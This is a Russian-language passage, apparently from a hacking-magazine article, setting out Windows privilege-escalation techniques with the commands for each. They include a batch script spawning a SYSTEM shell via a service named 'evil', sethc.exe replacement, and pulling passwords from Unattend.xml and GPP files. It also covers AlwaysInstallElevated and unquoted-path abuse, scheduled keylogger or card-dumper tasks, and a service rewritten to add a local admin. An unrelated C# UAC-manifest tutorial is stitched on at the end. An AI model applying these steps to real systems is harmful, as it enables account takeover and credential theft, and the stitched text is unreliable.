@echo off @break off title root Cls echo Creating service. sc create evil binpath= "cmd.exe /K start" type= own type= interact > nul 2>&1 echo Starting service. sc start evil > nul 2>&1 echo Standing by... ping 127.0.0.1 -n 4 > nul 2>&1 echo Removing service. echo. sc delete evil > nul 2>&1

Третий способ заключается в подмене системной утилиты C:\windows\system32\sethc.exe на, например, cmd . Если после этого разлогиниться и нажать несколько раз клавишу Shift , то появится консоль с системными правами.

Что касается автоматизированных способов, то на ум сразу же приходит Metasploit и его getsystem . Альтернативным вариантом можно считать PsExec от Sysinternals (psexec -i -s -d cmd.exe).

Мы пойдем другим путем

У всех названных методов есть общий недостаток: необходимы администраторские привилегии. Это означает, что мы повышаем привилегии уже из-под привилегированного аккаунта. В большинстве случаев, когда ты получил админские права, у тебя на руках появляется куча вариантов, как подняться еще выше. Так что это не очень сложная задача. Мы же поговорим сегодня о методах повышения привилегий, не использующих какие-либо 0day-уязвимости, полагая, что у нас обычная система и на руках аккаунт обычного непривилегированного пользователя.

Охота за credentials

Один из надежных и стабильных способов повышения привилегий и закрепления в системе - получить пароли администраторов или пользователей, обладающих более высокими привилегиями. И тут самое время вспомнить об автоматизированной установке программного обеспечения. Если ты управляешь доменом, включающим в себя обширный парк машин, однозначно тебе не захочется ходить и устанавливать ПО на каждую из них вручную. Да и времени это будет отнимать столько, что ни на какие другие задачи не хватит. Поэтому используются Unattended installations, которые порождают файлы, содержащие админские пароли в чистейшем виде. Что представляет собой просто клад как для пентестеров, так и для злоумышленников.

Unattended Installs

В случае автоматизированной установки на клиенте остается достаточно любопытный для нас файл Unattended.xml , который обычно находится либо в %WINDIR%\Panther\Unattend\ , либо в %WINDIR%\Panther\ и может хранить пароль администратора в открытом виде. С другой стороны, чтобы получить этот файл с сервера, не требуется даже никакой аутентификации. Надо найти лишь «Windows Deployment Services» сервер. Для этого можно воспользоваться скриптом auxiliary/scanner/dcerpc/windows_deployment _services из Metasploit. И хотя Windows Deployment Services не единственный способ выполнения автоматизированных инсталляций, файл Unattended.xml считается стандартом, так что его обнаружение можно приравнять к успеху.

GPP

XML-файлы настроек групповой политики безопасности (Group Policy Preference) довольно часто содержат в себе набор зашифрованных учетных данных, которые могут использоваться для добавления новых пользователей, создания шар и так далее. На счастье, метод шифрования документирован, таким образом, можно запросто получить пароли в чистом виде. Более того, команда Metasploit уже все сделала за тебя - достаточно воспользоваться модулем /post/windows/gather/credentials/gpp.rb . Если тебе интересны подробности, то вся необходимая информация доступна по этой ссылке .

Пользовательские права

Очень часто повышение привилегий оказывается следствием неправильно настроенных пользовательских прав. Например, когда пользователь домена является локальным администратором (или Power User’ом) на хосте. Или когда пользователи домена (или члены доменных групп) являются локальными админами на всех хостах. В таком случае тебе уже толком не придется ничего делать. Но такие варианты подворачиваются не так часто.

AlwaysInstallElevated

Иногда администраторы позволяют обычным пользователям самостоятельно устанавливать программы, обычно делается это через следующие ключи реестра:

HKLM\SOFTWARE\Policies\Microsoft\Windows \Installer\AlwaysInstallElevated

HKCU\SOFTWARE\Policies\Microsoft\Window s\Installer\AlwaysInstallElevated

Они указывают системе, что любой MSI-файл должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, задействовав специальным образом созданный файл, можно опять же выполнить действия от имени системы и прокачать свои привилегии.

В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated , который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения MSI-файл прекращает установку (путем вызова специально созданного невалидного VBS), чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet , то юзеру даже не выведется ошибка.

Пропавший автозапуск

Очень часто случается, что система хранит запись о файле, который надо автоматически запустить, даже после того, как сам файл уже канул в Лету. Может, какой-то сервис был некорректно удален - исполняемого файла нет, а запись в реестре осталась, и при каждом запуске система безуспешно пытается его стартануть, забивая журнал событий сообщениями о фейлах. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Первым делом надо найти все такие осиротевшие записи. Например, при помощи утилиты autorunsc от Sysinternals.

Autorunsc.exe -a | findstr /n /R "File\ not\ found"

После чего, как ты догадался, останется только как-то подсунуть на место пропавшего файла своего кандидата.

Магия кавычек

Да-да, кавычки могут не только сыграть злую шутку в SQL-запросах, позволив провести инъекцию, но и помочь поднять привилегии. Проблема довольно старая и известна со времен NT. Суть в том, что пути до исполняемых файлов некоторых сервисов оказываются не обрамленными кавычками (например, ImagePath=C:\Program Files\Common Files\Network Associates\McShield\McShield.exe), при этом в пути присутствуют символы пробела. В таком случае, если атакующий создаст файл, который будет добавлять новых админов в систему или выполнять еще какие-то действия, и назовет его C:\Program Files\common.exe , то при последующем запуске сервиса запустится именно common.exe , а оставшаяся часть пути будет воспринята в качестве аргумента (аргументов). Понятно, что в Program Files непривилегированный пользователь положить ничего не сможет, но исполняемый файл сервиса может находиться и в другой директории, то есть у юзера будет возможность подсунуть свой файл.

Для того чтобы воспользоваться данной техникой, надо найти уязвимый сервис (который не будет использовать кавычки в пути к своему бинарнику). Делается это следующим образом:

Wmic service get name,displayname,pathname, startmode |findstr /i "auto" |findstr /i /v "c: \windows\\" |findstr /i /v """

Правда, на XP это потребует привилегий админа, поэтому там лучше воспользоваться следующим методом: получить список сервисов - sc query , далее смотреть информацию по каждому сервису - sc qc servicename .

Все по плану

Еще один механизм, который может помочь поднять права и про который обычно забывают, - планировщик задач. Утилита schtasks позволяет вешать задачи на определенные события. Наиболее интересные для нас - ONIDLE, ONLOGON и ONSTART. Как следует из названий, ONIDLE будет выполняться каждый раз при простое компьютера, ONLOGON и ONSTART - при входе пользователя и при запуске системы соответственно. Таким образом, на каждое из событий можно повесить отдельную задачу. Например, при запуске системы копировать куда-либо вредоносный бинарник/кейлоггер/… и запускать его. При входе пользователей в систему - запускать дампер кредитных карт. Короче, все ограничивается только твоей фантазией и поставленной задачей.

Фокусы с разрешениями

Разрешения на доступ к файлам - это обычно первое защитное средство, которое мешает поднять нам свои привилегии. Было бы заманчиво просто так переписать какой-либо системный файл (например, тот же самый sethc.exe, упомянутый в самом начале статьи) и получить сразу системные привилегии. Но все это лишь мечты, на деле у нас есть лишь разрешение на его чтение, которое нам ровным счетом ничего не дает. Однако не стоит вешать нос, ибо с разрешениями тоже не все так гладко - здесь, как и везде, существуют свои подводные камни, знание которых позволяет делать невозможное возможным.

Одна из системных директорий, защищенных данным механизмом, особенно интересна с точки зрения повышения привилегий - Program Files. Непривилегированным пользователям доступ туда заказан. Однако иногда бывает, что в процессе установки инсталляторы некорректно выставляют права на файлы, в результате чего всем пользователям предоставляется полный доступ к исполняемым файлам. Что из этого следует - ты уже догадался.

Еще одно из ограничений - обычному смертному не позволяется писать в корень системного диска. Однако, например, на XP при создании новой директории в корне диска группа BUILTIN\Users получает FILE_APPEND_DATA и FILE_WRITE_DATA разрешения (даже если владельцем папки является администратор):

BUILTIN\Users:(OI)(CI)R BUILTIN\Users:(CI)(special access:) FILE_APPEND_DATA BUILTIN\Users:(CI)(special access:) FILE_WRITE_DATA

На «семерке» происходит почти то же самое, только разрешения получает группа AUTHENTICATED USERS. Каким образом такое поведение может превратиться в проблему? Просто некоторые приложения устанавливают себя вне защищенных директорий, что позволит легко подменить их исполняемые файлы. Например, такая оказия случилась с Metasploit Framework в случае ее многопользовательской установки. Данный баг был пофиксен в версии 3.5.2, а утилита переехала в Program Files.


Как искать такие директории/файлы

Обнаружение директории с некорректными разрешениями - это уже половина успеха. Однако ее нужно сначала найти. Для этого можно воспользоваться следующими двумя инструментами: AccessChk и Cacls/ICacls. Чтобы найти при помощи AccessChk «слабые» директории, понадобятся данные команды:

Accesschk.exe -uwdqs users c:\ accesschk.exe -uwdqs “Authenticated Users” c:\

Для поиска файлов со «слабыми» разрешениями служат следующие:

Accesschk.exe -uwqs users c:\*.* accesschk.exe -uwqs “Authenticated Users” c:\*.*

То же самое можно выполнить и при помощи Cacls/ICacls:

Cacls "c:\Program Files" /T | findstr Users

Трюки с сервисами

Еще один вариант, как подняться в системе повыше, - это воспользоваться мисконфигурациями и ошибками сервисов. Как показывает практика, некорректными разрешениями могут обладать не только файлы и папки, но также и сервисы, работающие в системе. Чтобы обнаружить такие, можно воспользоваться утилитой AccessChk от небезызвестного тебе Марка Руссиновича:

Accesschk.exe –uwcqv *

Отраднее всего будет увидеть SERVICE_ALL_ACCESS разрешение для аутентифицированных пользователей или power-юзеров. Но также большой удачей можно считать и следующие:

  • SERVICE_CHANGE_CONFIG - можем изменять исполняемый файл службы;
  • WRITE_DAC - можно менять разрешения, что приводит к получению разрешения SERVICE_CHANGE_CONFIG ;
  • WRITE_OWNER - можно стать владельцем и изменить разрешения;
  • GENERIC_WRITE - наследует разрешения SERVICE_CHANGE_CONFIG ;
  • GENERIC_ALL - наследует разрешения SERVICE_CHANGE_CONFIG .

Если обнаруживается, что установлено одно (или несколько) из этих разрешений для непривилегированных пользователей, шансы повысить свои привилегии резко возрастают.

Как повысить?

Допустим, ты нашел подходящий сервис, настало время поработать над ним. В этом поможет консольная утилита sc. Для начала получаем полную информацию об интересующем нас сервисе, допустим, это upnphost:

Sc qc upnphost

С помощью этой же утилиты отконфигурируем его:

Sc config vulnsrv binpath= "net user john hello /add && net localgroup Administrators john /add" type= interact sc config upnphost obj= “.\LocalSystem” password=“”

Как видишь, при следующем старте службы вместо ее исполняемого файла выполнится команда net user john hello /add && net localgroup Administrators john /add , добавив в систему нового пользователя john с паролем hello . Остается только вручную перезапустить сервис:

Net stop upnphost net start upnphost

Вот и вся магия.

Что в итоге

Когда-то давным-давно я прочитал в журнале статью, в которой были приведены основные приемы для повышения привилегий в ОС Windows. Особого значения я ей тогда не придал, но теория в голове отложилась и однажды очень сильно меня выручила. Так что, надеюсь, и ты найдешь в этой статье для себя что-то новое, что поможет однажды преодолеть очередной барьер.

UAC (User Account Control) — технология контроля учетных записей, появившаяся впервые в Windows Vista и старше. Данная технология запрещает программам выполнять действия, требующие права администратора. При выполнении программой таких действий, ее работа приостанавливается и пользователю выдается окно с запросом на защищенном рабочем столе (для того, чтобы невозможно было нажать программно кнопку ОК). К примеру, если вашей программе потребуется внести изменения в раздел реестра HKEY_LOCAL_MACHINE , то ей потребуются права администратора.
Для решения данной проблемы можно воспользоваться внедрением в проект файла манифеста, который операционная система будет считывать и автоматически определять необходимые для запуска параметры.
Рассмотрим внедрение файла манифеста, в приложение «Windows Form ». Для этого откройте Visual Studio(в данном примере используется версия 2012) и создайте проект «Windows Form ». Откройте «Solution Explorer » (Обозреватель решений), который обеспечивает упорядоченное представление проектов и их файлов, перейдите в меню «Вид » - «Обозреватель решений ». Выполните клик правой клавишей мыши в «Обозревателе решений » по имени проекта и выберите из контекстного меню, пункт «Добавить » - «Создать элемент… ».

У вас откроется новое окно «Добавление нового элемента - … » найдите элемент Visual С# с именем «Файл манифеста приложения », выберете его и нажмите кнопку «Добавить ».

В «Обозревателе решений » у вас появится новый пункт с именем файла манифеста. Так же он будет автоматически открыт в редакторе кода.

Для настройки прав необходимых для выполнения приложения требуется определить уровень безопасности и описать элемент «requestedExecutionLevel ». Этот элемент не имеет дочерних элементов и имеет следующие атрибуты:
1) Level - Обязательный. Устанавливает уровень безопасности, требуемый приложению. Для данного атрибута доступны следующие значения:
  • asInvoker - приложение запускается с правами процесса-родителя. Это означает, что если выполняется запуск программы из приложения, которое уже запущено с правами администратора, то она автоматически будет иметь те же права. Этот режим рекомендуется Microsoft в большинстве случаев. Т.е. это те программы, которые не требуют прав администратора;
  • highestAvailable — приложение запускается с более высокими правами, чем имеет текущий пользователь. С такими правами запускаются Regedit.exe, Mmc.exe;
  • requireAdministrator — запрашиваются полные права администратора. Т.е. требуются для приложений, которые не могут работать без прав администратора.

Установка приложений «ClickOnce » возможна только при значении «asInvoker». При любом другом значении установка будет невозможна.

2) uiAccess - Необязательный. Указание того, требует ли приложение доступ к защищенным элементам пользовательского интерфейса для реализации специальных возможностей. Доступны значения "true " и "false ", по умолчанию используется значение "false ". Значение "true " должны иметь только подписанные приложения и запускалась из папок "\Program Files\" и "\windows\system32\". Чаще всего, в этом нет необходимости.
Для того чтобы программа при запуске требовала повышение прав до уровня Администратора, заменим в атрибуте «Level » значение по умолчанию «asInvoker » на «requireAdministrator ».

Выполните построение решения, нажав на клавишу «F6 ». Если вы все сделали правильно, то в операционных системах Windows Vista и старше, на иконке исполняемого файла программы появится значок щита, означающий, что данной программе требуется повышение прав.

Для проверки прав вашего приложения вы можете воспользоваться приведенным ниже листингом.
string s = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator) ? "Администратор" : "Обычный пользователь"; Если у вас консольное приложение, то для него принцип действий такой же.